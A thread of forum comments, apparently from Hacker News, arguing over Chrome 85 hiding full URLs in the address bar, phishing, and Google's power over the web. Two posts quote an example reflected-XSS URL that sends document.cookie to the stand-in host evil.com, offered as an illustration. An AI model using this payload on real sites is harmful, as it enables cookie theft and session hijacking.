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Google adds experimental setting to hide full URLs in Chrome 85 address bar

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Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#631

Post by takeda »

vntok wrote: post #606
saagarjha wrote: post #587

Earlier quoted context omitted.

How about mybank.com/login?reflect=%3Cscript%3Enew%20Image().src=%22 http://evil.com%22%20+%20document.cookie%3C/script%3E

That URL is utterly indecipherable by 99.99% of Internet users, so displaying it in full does absolutely nothing to protect users. The onus to protect against a website takeover is on the domain/server owner, certainly not on the browser vendor although they try to mitigate simple attack vectors. edit: added a few 9s

Well, it switches that 99.99% to 100% now, so a step backwards.

They already used colors to de-emphasize other components, this doesn't look like anything else than pushing people to rely more on google search.

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#632

Post by sorenjan »

wyattpeak wrote: post #605
sorenjan wrote: post #585

Earlier quoted context omitted.

> I really dislike any attempt to modify strings like this. I find it invariably causes problems in edge cases. What if a site handles slashes differently to how Google expects? I think it would have to be some standard format that websites use, not just string manipulation in the browsers. And certainly not some Google dictated feature! For the same reason, each part would have to be navigable on these sites, to wor…

If you're talking about something other than manipulating the URL, I don't understand what problem you're solving. Sites which believe that breadcrumbs would be helpful for navigation already have breadcrumbs, I see no reason to force it on everyone else. But I disagree with you that not showing the full address in Windows Explorer is a separate issue. In my experience loss of edge-case functionality is a core aspect…

Instead of manipulating the URL it would replace it, and instead of each site doing it their way it would be handled by the browser in the browser UI. Sites can implement their own back button too, doesn't mean that's where it belongs.

Think about how Powershell use objects instead of text to chain together commands. The address isn't just text, it's structured data, why not treat it as such and make it more useful?

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#633

Post by abrowne »

enlyth wrote: post #14

At chrome://flags there is one called #omnibox-context-menu-show-full-urls, which I have turned on. This enables you to right click on the address bar, and turn on the option "Always show full URLs". It will always shows the full URL including the protocol, but I suspect they will remove this flag at some point.

I don't think they will remove it soon, since it was just added¹ after a lot of complaints about the default behavior².

Now how does this new flag interact? Has anyone enabled both to see?

1: https://bugs.chromium.org/p/chromium/issues/detail?id=106157...

2: https://bugs.chromium.org/p/chromium/issues/detail?id=883038...

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#634

Post by sorenjan »

wyattpeak wrote: post #592
whoisthemachine wrote: post #481

Earlier quoted context omitted.

Your arguments are definitely salient. However, I think there is something to this idea - a breadcrumb style approach by default in Chrome would encourage developers to use paths in more standard ways that refer to resources, not heavy parameter coupling. As you noted, there are technical barriers to implementing this solution, which might encourage some other good things - servers providing resource discovery so tha…

I address that in my point: Google deciding what paths developers should use is precisely what I don't want. I'll decide what resources should be discoverable on my site, not Google. I'll decide what paths should be valid, not Google. Google has too much power to dictate standards already, and has been quite happy to use that power for their own sake, rather than the good of the user. I'm not interested in giving the…

My original point was not about Google specifically, it was about a new feature in browsers in general. I absolutely agree that Google have too much power already.

And like I wrote in my first post, the resource discoverability could be handled by the site itself via some manifest file in a standard format, like robots.txt. It wouldn't be dictated by anybody else.

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#635

Post by ptx »

li4ick wrote: post #91

Whoever at Google is responsible for this, I suggest they read this: http://worrydream.com/MagicInk I guess they forgot what "information software" means. I use Firefox, but this is just bad design.

I haven't read it yet, but the movies in those examples ("Rainman Forever", "Die Hard With More Intensity", etc.) sound fantastic. And they all feature Jet Li.

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#636

Post by shadowgovt »

takeda wrote: post #629
satyrnein wrote: post #490

Earlier quoted context omitted.

Isn't that the point of this change, only showing the domain to prevent phishing?

No, they already were doing that by using color to make the other parts less prominent. There is no good explanation to to this change than making people rely more on Google search.

That's a pretty big leap, especially since users can change Chrome's search engine.

There are a couple of reasons they could be making this change highlighted in these threads.

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#637

Post by shadowgovt »

takeda wrote: post #631
vntok wrote: post #606

Earlier quoted context omitted.

That URL is utterly indecipherable by 99.99% of Internet users, so displaying it in full does absolutely nothing to protect users. The onus to protect against a website takeover is on the domain/server owner, certainly not on the browser vendor although they try to mitigate simple attack vectors. edit: added a few 9s

Well, it switches that 99.99% to 100% now, so a step backwards. They already used colors to de-emphasize other components, this doesn't look like anything else than pushing people to rely more on google search.

> Well, it switches that 99.99% to 100% now, so a step backwards.

Refraining from collecting malicious links happens before you click, by the time it's in the URL bar it's already pretty late to mitigate against attacks.

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#638

Post by shadowgovt »

mthoms wrote: post #615
shadowgovt wrote: post #520

Earlier quoted context omitted.

Again, people concerned over this risk scenario should be switching to another browser regardless of what it does to the URL bar, right? I doubt we're going to find many users who's thought process runs "I'm really concerned about the long-term risk of Google building a dystopian information warehousing monoculture, but I was still going to use chrome. But now that they're changing the UI to, I assume, support their…

>people concerned over this risk scenario should be switching to another browser IMHO it's our duty as technical users to advocate for a more private, open and de-centralized web for everyone.... We should especially be doing it on behalf of the users who don't understand the long term implications of Google's (anti-) features. 'Just switch to another browser if you don't like it' is not a compelling argument.

That's fine. In my humble opinion it's our duty as technical users to build a web that is both safe and usable by non-technical users. Sometimes we do that via improved privacy, more openness, and decentralization; sometimes we do it by centralization (lists of threat websites, certificate chains of trust baked into browser defaults), less privacy (expecting users to authenticate before making meaningful changes on sensitive data or people's money), and more closed architecture (ad spam countermeasures).

Every tool in the toolbox to make the web better.

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#639

Post by shadowgovt »

freeflight wrote: post #575
shadowgovt wrote: post #520

Earlier quoted context omitted.

Again, people concerned over this risk scenario should be switching to another browser regardless of what it does to the URL bar, right? I doubt we're going to find many users who's thought process runs "I'm really concerned about the long-term risk of Google building a dystopian information warehousing monoculture, but I was still going to use chrome. But now that they're changing the UI to, I assume, support their…

But switching to another browser does nothing to challenge AMP, as these changes are mostly pushed on the server-end while changes to the browser end, like this one, serve to further obfuscate this consolidation of Google's dominance on the web. In that context, it's a bit cynical to belittle the problem as you are doing there when this has been a very real issue for several years. As by now Google, Facebook, and Ama…

Switching to another browser would let a little air out of the Google hegemony.

Re: Google adds experimental setting to hide full URLs in Chrome 85 address bar

#640

Post by p1mrx »

enlyth wrote: post #14

At chrome://flags there is one called #omnibox-context-menu-show-full-urls, which I have turned on. This enables you to right click on the address bar, and turn on the option "Always show full URLs". It will always shows the full URL including the protocol, but I suspect they will remove this flag at some point.

Oh wow, http:// and https:// are back! I've been waiting years for that option.
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